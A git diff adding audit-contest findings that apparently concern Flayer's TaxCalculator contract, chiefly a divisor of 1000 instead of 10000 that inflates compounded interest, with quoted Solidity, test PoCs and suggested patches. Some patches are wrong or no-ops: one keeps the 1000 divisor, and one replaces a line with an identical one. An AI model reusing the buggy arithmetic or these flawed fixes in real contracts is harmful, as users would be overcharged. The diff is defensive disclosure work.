+
+
+### Mitigation
+
+In `removeFeeExemption`
+```diff
+- if (hasExemption != 1) {
++ if (hasExemption != 0xFFFFFF) {
+```
+
+In `getFee`
+```diff
+- if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF) {
++ if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF) {
+```
\ No newline at end of file
diff --git a/006/058.md b/006/058.md
new file mode 100644
index 0000000..4ad4880
--- /dev/null
+++ b/006/058.md
@@ -0,0 +1,66 @@
+Loud Berry Cuckoo
+
+Medium
+
+# Incorrect math in `TaxCalculator::calculateCompoundedFactor` will result in inaccurate fees
+
+### Summary
+
+The total fees deducted from the user's balance for lockbox deposits are calculated using a compounded interest rate, determined by the utilistation rate. While the interest rate is expressed in bps, as indicated by this comment from the function `TaxCalculator::calculateProtectedInterest`:
+```javascript
+@dev The interest rate is returned to 2 decimal places (200 = 2%)
+```
+The compounding factor, however, is calculated as if the interest rate were expressed with only one decimal place. This results in a compounding factor increase rate 10 times bigger.
+
+### Root Cause
+
+The math used in the calculation of the compounded factor in `TaxCalculator::calculateCompoundedFactor` is incorrect:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90
+
+```javascript
+ function calculateCompoundedFactor(
+ uint _previousCompoundedFactor,
+ uint _utilizationRate,
+ uint _timePeriod
+ ) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+ //@audit basis points is 10000 not 1000
+ compoundedFactor_ =
+ (_previousCompoundedFactor *
+ @> (1e18 + ((perSecondRate / 1000) * _timePeriod))) /
+ 1e18;
+ }
+```
+The `perSecondRate` should be divided by 10000 as it is expressed in bps.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+Lockbox deposits will be charged a much higher fee than what is intended.
+
+### PoC
+
+This function is tested in `TaxCalculator.t.sol::test_CanCompoundInterestInTaxCalculator`, however the `expectedFee` passed in `_assertCompound` is incorrectly set and should be 10 times smaller.
+
+### Mitigation
+
+Divide the per second rate by 10000 instead of 1000.
\ No newline at end of file
diff --git a/006/098.md b/006/098.md
new file mode 100644
index 0000000..642e873
--- /dev/null
+++ b/006/098.md
@@ -0,0 +1,64 @@
+Raspy Raspberry Tapir
+
+High
+
+# Wrong divisor in `TaxCalculator.sol::calculateCompoundedFactor` leads to 10x interest rates
+
+### Summary
+
+The divisor in [TaxCalculator.sol::calculateCompoundedFactor](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90) should be `10_000`. but it's `1000`. As a result, the users of `ProtectedListings` will pay 10x interest rates wrt. what they expect.
+
+### Root Cause
+
+In [TaxCalculator.sol::calculateCompoundedFactor](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90) the divisor is set to `1000`:
+
+```solidity
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+
+As `perSecondRate` is in percents with two digits precision (i.e. 2% becomes 200); to normalize this, the divisor `10_000` should be used.
+
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+Definite loss of funds: The users of `ProtectedListings` will pay 10x interest rate wrt. what they expect. This means that the loss of funds wrt. the expected interest rate amount is 900%.
+
+### PoC
+
+This is already demonstrated by the existing tests, e.g. in [TaxCalculator.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/TaxCalculator.t.sol#L83) we have:
+
+```solidity
+ _assertCompound(4.9863023 ether, 100_00, YEAR);
+```
+
+In the above, the `principle` used is `0.5 ether`, and the compounded interest over 1 year with `100%` annual rate is ~`5 ether`, while it should be ~`0.5 ether`.
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/TaxCalculator.sol b/flayer/src/contracts/TaxCalculator.sol
+index 915c0ff..ca0ff35 100644
+--- a/flayer/src/contracts/TaxCalculator.sol
++++ b/flayer/src/contracts/TaxCalculator.sol
+@@ -87,7 +87,7 @@ contract TaxCalculator is ITaxCalculator {
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10_000 * _timePeriod)) / 1e18;
+ }
+
+ /**
+```
\ No newline at end of file
diff --git a/006/117.md b/006/117.md
new file mode 100644
index 0000000..2df2e17
--- /dev/null
+++ b/006/117.md
@@ -0,0 +1,100 @@
+Raspy Raspberry Tapir
+
+High
+
+# Frequency-dependent `TaxCalculator.sol::calculateCompoundedFactor` leads to interest loss either for users or for protocol
+
+### Summary
+
+[TaxCalculator.sol::calculateCompoundedFactor](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90) uses discrete formula for calculating the compounded factor. Combined with the wrong divisor (`1000` instead of `10_000`, as I outline in another finding), when collection's utilization factor is moderately high (e.g. 90%), and the operations with the collection happen relatively frequently (e.g. every day), this leads to charging users excessive interest rates: for this example, `3200%` more than expected.
+
+If the divisor is fixed to the correct value (`10_000`), then the effects from using the discrete formula are less severe, but still quite substantial: namely for a 100% collection utilization, depending of the frequency, either the user will be charged up to $e-2 \approx$ `71%` more interest per year compared to the non-compound interest, or the protocol will receive up to $1- 1/(e-1) \approx$ `42%` less interest per year compared to the compound interest.
+
+It's worth noting that `calculateCompoundedFactor` is called whenever a new checkpoint is created for the collection, which happens e.g. when _any user_ [creates a listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L162), [cancels a listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L467), or [fills a listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L603). **This is neither enough to reach the desired precision, nor is it gas efficient.**
+
+Depending on the frequency of collection operations, either:
+
+- If non-compound interest is expected, but the frequency is high, then the users will be charged up to `71%` more interest than they expect;
+- If compound interest is expected, but the frequency is low, then the protocol will receive up to `42%` less interest than it expects.
+
+### Root Cause
+
+[TaxCalculator.sol::calculateCompoundedFactor](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90) employs the following formula:
+
+```solidity
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+
+As I explain in another finding, the divisor `1000` is incorrect, and has to be fixed to `10_000`. Provided this is fixed, the resulting formula is the correct discrete formula for calculating the compounded interest. The problem is that the formula will give vastly different results depending on the frequency of operations which have nothing to do with the user who holds the protected listing.
+
+### Internal pre-conditions
+
+Varying frequency of collection operations.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+No attack is necessary. The interest rates will be wrongly calculated in most cases.
+
+### Impact
+
+Either users are charged up to `71%` more interest than they expect, or the protocol receives up to `42%` less interest than it expects.
+
+### PoC
+
+Drop this test to [TaxCalculator.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/TaxCalculator.t.sol#L86), and execute with `forge test --match-test test_WrongInterestCalculation`
+
+```solidity
+ // This test uses the unmodified source code, with the wrong divisor of 1000
+ function test_WrongInterestCalculation() public view {
+ // We fix collection utilization to 90%
+ uint utilization = 0.9 ether;
+
+ // New checkpoints with the updated compoundedFactor are created
+ // and stored whenever there is activity wrt. the collection
+
+ // The expected interest multiplier after 1 year
+ uint expectedFactor =
+ taxCalculator.calculateCompoundedFactor(1 ether, utilization, 365 days);
+
+ // The resulting interest multiplier if some activity happens every day
+ uint compoundedFactor = 1 ether;
+ for (uint time = 0; time < 365 days; time += 1 days) {
+ compoundedFactor =
+ taxCalculator.calculateCompoundedFactor(compoundedFactor, utilization, 1 days);
+ }
+
+ // The user loss due to the activity which doesn't concern them is 3200%
+ assertApproxEqRel(
+ 33 ether * expectedFactor / 1 ether,
+ compoundedFactor,
+ 0.01 ether);
+ }
+```
+
+### Mitigation
+
+**Variant 1**: If non-compound interest is desired, apply this diff:
+
+```diff
+diff --git a/flayer/src/contracts/TaxCalculator.sol b/flayer/src/contracts/TaxCalculator.sol
+index 915c0ff..4031aba 100644
+--- a/flayer/src/contracts/TaxCalculator.sol
++++ b/flayer/src/contracts/TaxCalculator.sol
+@@ -87,7 +87,7 @@ contract TaxCalculator is ITaxCalculator {
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor + (perSecondRate * _timePeriod / 1000);
+ }
+
+ /**
+```
+
+_Note: in the above the divisor is still unfixed, as this belongs to a different finding._
+
+**Variant 2**: If compound interest is desired, employ either periodic per-second compounding, or continuous compounding with exponentiation. Any of these approaches are precise enough and much more gas efficient than the current one, but require substantial refactoring.
\ No newline at end of file
diff --git a/006/128.md b/006/128.md
new file mode 100644
index 0000000..d799ea1
--- /dev/null
+++ b/006/128.md
@@ -0,0 +1,83 @@
+Ripe Zinc Duck
+
+High
+
+# `TaxCalculator.calculateCompoundedFactor()` function inflate the compounded factor by 10 times.
+
+## Summary
+`TaxCalculator.calculateCompoundedFactor()` function inflate the compounded factor by 10 times.
+
+## Vulnerability Detail
+`TaxCalculator.calculateCompoundedFactor()` function is the following.
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+82: uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+90: compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+The `calculateProtectedInterest()` function of `L82` is following.
+```solidity
+ /**
+ * Calculates the interest rate for Protected Listings based on the utilization rate
+ * for the collection.
+ *
+ * This maps to a hockey puck style chart, with a slow increase until we reach our
+ * kink, which will subsequently rapidly increase the interest rate.
+ *
+53: * @dev The interest rate is returned to 2 decimal places (200 = 2%)
+ *
+ * @param _utilizationRate The utilization rate for the collection
+ *
+ * @return interestRate_ The annual interest rate for the collection
+ */
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+As can be seen, the above function returns `10000` for `100%`. It can also be verified in the comments of `L53`. But in `L90`, the function divides the `perSecondRate` by `1000` instead of `10_000`, and thus inflate the compounded factor by 10.
+
+## Impact
+Users will pay 10 times more tax than they should. It means Loss of funds.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Modify `TaxCalculator.calculateCompoundedFactor()` function as below.
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+-- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate * _timePeriod / 10000)) / 1e18;
+ }
+```
\ No newline at end of file
diff --git a/006/227.md b/006/227.md
new file mode 100644
index 0000000..dc661a8
--- /dev/null
+++ b/006/227.md
@@ -0,0 +1,72 @@
+Shiny Mint Lion
+
+High
+
+# There is a calculation error inside the calculateCompoundedFactor() function, causing users to overpay interest.
+
+## Summary
+There is a calculation error inside the calculateCompoundedFactor() function, causing users to overpay interest.
+## Vulnerability Detail
+```javascript
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+@>> interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+
+```javascript
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+@>> uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+@>> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+Through the calculateProtectedInterest() function, which calculates the annual interest rate, we know that 200 represents 2% and 800 represents 8%, so the decimal precision is 4.
+ When the principal is 100 and the annual interest rate is 2% (200), the yearly interest should be calculated as 100 * 200 / 10000 = 2.
+
+ However, in the calculateCompoundedFactor function, there is a clear error when calculating compound interest, as it only divides by 1000, leading to the interest being multiplied by a factor of 10.
+
+
+## Impact
+The user overpaid interest, resulting in financial loss.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59C1-L71C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+ }
+```
\ No newline at end of file
diff --git a/006/260.md b/006/260.md
new file mode 100644
index 0000000..f9807db
--- /dev/null
+++ b/006/260.md
@@ -0,0 +1,108 @@
+Striped Boysenberry Fox
+
+High
+
+# Incorrect Calculation of Compound Factor in `TaxCalculator`
+
+## Summary
+
+The interest rate in the tax calculator is designed to have two decimal places, meaning 10_000 equals 100%. However, when calculating the compound factor, the rate is divided by 1000, which may result in overestimating the compound factor.
+
+## Vulnerability Detail
+
+According to the [comment](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L46-L58) and the [implementation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59-L71) of `TaxCalculator::calculateProtectedInterest()` function, the decimal places of interest rate should be 2.
+
+```solidity
+ /**
+ ... ...
+@> * @dev The interest rate is returned to 2 decimal places (200 = 2%)
+ ... ...
+ */
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+@> // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+
+In the [`calculateCompoundFactor()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91) function, the calculated annual interest rate is divided by total seconds per year to calculate the rate per second.
+
+```solidity
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+```
+
+After then, the compound factor is newly calculated from the previous compound factor, the interest rate per second and the period seconds.
+
+```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+
+Here is a problem with this line:
+
+If `interestRate` is `100%(=1_00_00)` and `_timePeriod` is 365 days, then `(perSecondRate / 1000 * _timePeriod)` should be `1e18`. But because of wrong divisor(1000), `(perSecondRate / 1000 * _timePeriod)` becomes around `1e19`.
+
+Therefore new compound factor around 11 times comparing to the previous one.
+
+### Proof-Of-Concept
+
+Adds a new test case in `TaxCalculator.t.sol`:
+
+```solidity
+ function test_IncorrectCompoundFactor() public {
+ // Utilization rate is 1e18. Thus annual interest rate becomes 10000.
+ // Then, `perSecondRate` becomes 317,097,919,837,645.
+ // Thus new compound factor should be `
+ // 1e18 * (1e18 + (317,097,919,837,645 / 1000 * 365 days)) / 1e18 = 10999999999979632000(>1e19)`
+ assertEq(taxCalculator.calculateCompoundedFactor(1e18, 1e18, 365 days), 10_999_999_999_979_632_000);
+ }
+```
+
+Here are successful logs after running the test:
+
+```bash
+$ forge test --match-test test_IncorrectCompoundFactor -vv
+[⠒] Compiling...
+[⠢] Compiling 1 files with Solc 0.8.26
+[⠆] Solc 0.8.26 finished in 6.07s
+Compiler run successful!
+
+Ran 1 test for test/TaxCalculator.t.sol:TaxCalculatorTest
+[PASS] test_IncorrectCompoundFactor() (gas: 10114)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 788.50µs (97.80µs CPU time)
+
+Ran 1 test suite in 7.37ms (788.50µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+## Impact
+
+Highly over-valued compound factors will make compound amounts significantly higher in the `TaxCalculator::compound()` function which are further used in calculating unlocking price.
+
+Thus the unlocking price gets much higher than expected, and will make protected NFTs unhealthy and instantly liquidable.
+
+## Code Snippet
+
+[TaxCalculator.sol#L90](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should replace `1000` to `10000`:
+
+```diff
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ ... ...
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+ }
+```
diff --git a/006/263.md b/006/263.md
new file mode 100644
index 0000000..a3a521e
--- /dev/null
+++ b/006/263.md
@@ -0,0 +1,51 @@
+Striped Boysenberry Fox
+
+Medium
+
+# Rounding error may results in loss of small portion of compound factor change
+
+## Summary
+
+In the `TaxCalculator::calculateCompoundedFactor()` function, incorrect order of division can cause loss of small portion of compound factor change.
+
+## Vulnerability Detail
+
+In the `TaxCalculator::calculateCompoundedFactor()`
+
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ ... ...
+ // Calculate new compounded factor
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+ }
+```
+
+The `perSecondRate` is firstly divided by 10000 and then multiplied by `_timePeriod`.
+
+Thus 4 decimal places of `perSecondRate` become zeros which would be a bigger loss after being multiplied by `_timePeriod`.
+
+Consequently, this rounding error may cause loss of up to 0.00015% of actual compound factor change. (Can we actually treat 0.00015% as dust??? :-)
+
+## Impact
+
+The round error in compound factor calculation may cause some margin of unlocking price and health of a protected listing.
+
+## Code Snippet
+
+[TaxCalculator.sol#L90](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The `perSecondRate` should be multipled, then be divided by decimal places.
+
+```diff
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ ... ...
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate * _timePeriod / 10000)) / 1e18;
+ }
+```
diff --git a/006/267.md b/006/267.md
new file mode 100644
index 0000000..4a5700b
--- /dev/null
+++ b/006/267.md
@@ -0,0 +1,61 @@
+Precise Lava Starfish
+
+High
+
+# Incorrect compound factor calculation
+
+## Summary
+Incorrect compound factor calculation will cause borrowers pay more borrow interest.
+
+## Vulnerability Detail
+When we calculate the latest compound factor, we will calculate the utilization and then calculate the accured compound factor in this time slot.
+The return value in `calculateProtectedInterest` has two decimals, for example, APR is 8%, then the return value is 800.
+The `perSecondRate` is `800 * 1e18 / year`
+The calculated compound factor is `_previousCompoundedFactor * (1e18 + 800 *1e18/year/1000 * timeperiod )/1e18`
+From the above formula, we can find that the calculate APR is 80%, not 8%.
+The correct calculated compound factor should be `_previousCompoundedFactor * (1e18 + 800 *1e18/year/10000 * timeperiod )/1e18`
+
+```solidity
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+@> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+
+## Impact
+Borrowers have to pay a very high borrow rate.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ // @audit 1000 is correct here ???
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+```
\ No newline at end of file
diff --git a/006/307.md b/006/307.md
new file mode 100644
index 0000000..4b02c71
--- /dev/null
+++ b/006/307.md
@@ -0,0 +1,36 @@
+Funny Grape Ladybug
+
+Medium
+
+# Incorrect order of division and multiplication leading to precision loss in tax calculations
+
+## Summary
+The contract `TaxCalculator` performs division in the function `calculateCompoundedFactor` before multiplication in a tax calculation, leading to potential precision loss due to Solidity's integer arithmetic. Specifically, the expression performs division followed by multiplication, which can lead to truncation of values, impacting the accuracy of tax computations.
+
+## Vulnerability Detail
+In the following line of code from `TaxCalculator::calculateCompoundedFactor`:
+
+```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+
+The division `perSecondRate / 1000` is performed before multiplying by `_timePeriod`, leading to potential precision loss due to truncation during integer division.
+
+In Solidity, when two integers are divided, any fractional component is discarded, resulting in a loss of precision. By dividing first, important decimal data could be lost before performing the subsequent multiplication, reducing the accuracy of the compounded tax calculation.
+
+## Impact
+**Financial discrepancies:** Taxes collected might be lower or higher than intended, causing incorrect amounts to be charged.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L90
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+To avoid precision loss, rearrange the operations to ensure multiplication is performed before division:
+
+```solidity
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate * _timePeriod / 1000)) / 1e18;
+```
\ No newline at end of file
diff --git a/006/324.md b/006/324.md
new file mode 100644
index 0000000..b7953a0
--- /dev/null
+++ b/006/324.md
@@ -0,0 +1,143 @@
+Melodic Pickle Goose
+
+High
+
+# Wrong division when adjusting `perSecondRate` in compounded factor calculation
+
+### Summary
+
+Due to dividing by a `1000` instead of `10000`, the `perSecondRate` will end up being 10 times bigger than it should be which will result in a orders of magnitude higher compounded factor causing loans' collateral to depreciate times quicker and cause users protected listings get liquidated sooner than expected.
+
+
+### Root Cause
+
+When the compounded factor is calculated (in **TaxCalculator**#`calculateCompoundedFactor()`) the `perSecondRate` variable is **not** scaled down properly which causes a way higher final compounded factor.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+→ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+
+`perSecondRate` is an amount with 1e20 precision as `interestRate` is a number with a precision of $1e2$ (100), meaning 100% is `100_00` and **not** `10_00` and the comments above the function confirm that.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L53-L71
+```solidity
+ /**
+ * ...
+ *
+→ * @dev The interest rate is returned to 2 decimal places (200 = 2%)
+ *
+ * ...
+ */
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+
+Now coming back to the `perSecondRate` calculation:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L87
+```solidity
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+```
+
+We see that `interestRate` ($1e2$ precision), scaled by $1e18$ will result in a $1e20$ precision result. Meaning in `compoundedFactor_` calculation we have to scale it down by `100_00` (100%) to get the correct rate in 18 decimals precision before multiplying by `_timePeriod`.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90
+```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+No additional action required, the protocol by itself will compound 10 times higher interest on protected listings.
+
+
+### Impact
+
